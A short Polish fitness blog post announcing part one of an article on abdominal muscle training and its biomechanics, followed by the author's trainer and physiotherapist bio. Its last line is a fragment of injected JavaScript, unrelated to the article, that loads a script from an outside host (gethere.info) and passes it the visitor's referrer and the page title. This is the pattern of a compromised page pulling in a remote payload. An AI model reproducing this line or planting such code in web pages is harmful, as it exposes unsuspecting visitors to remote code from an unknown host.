Odświeżone spojrzenie na trening mięśni brzucha.

8.10.2014 / Seweryn Sroka / Biomechanika

Pierwsza część bardziej merytoryczna, traktująca o treningu mięśni brzucha. Omawiam to co jest njważniejsze a więc zasadę współdziałania grup mięśniowych w treningu mięśni brzucha. Źródło tej wiedzy znajduje się na oficjalnej stronie Stanford University USA w katedrze biomechaniki, w której to został również opracowany program ćwiczeń przy udziale biomechaników i trenerów oraz fizjologów tejże uczelni. Wkrótce zapraszam na część 2 praktyczną…

Jestem trenerem personalnym,fizjoterapeutą i specjalistą odnowy biologicznej. Spędziłem kilka lat przy drużynie ekstraklasy koszykówki Lotos Gdynia. Posiadam obszerną wiedzę z zakresu fizjologii, biomechaniki i anatomii ludzkiego ciała, potwierdzoną dyplomem akademickim. Moja wiedza i doświadczenie trenerskie pozwolą Ci zoptymalizować Twój trening i uchronić Cię przed kontuzjami. Pamiętaj:

„Ból jest słabością, która opuszcza ciało po treningu”

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;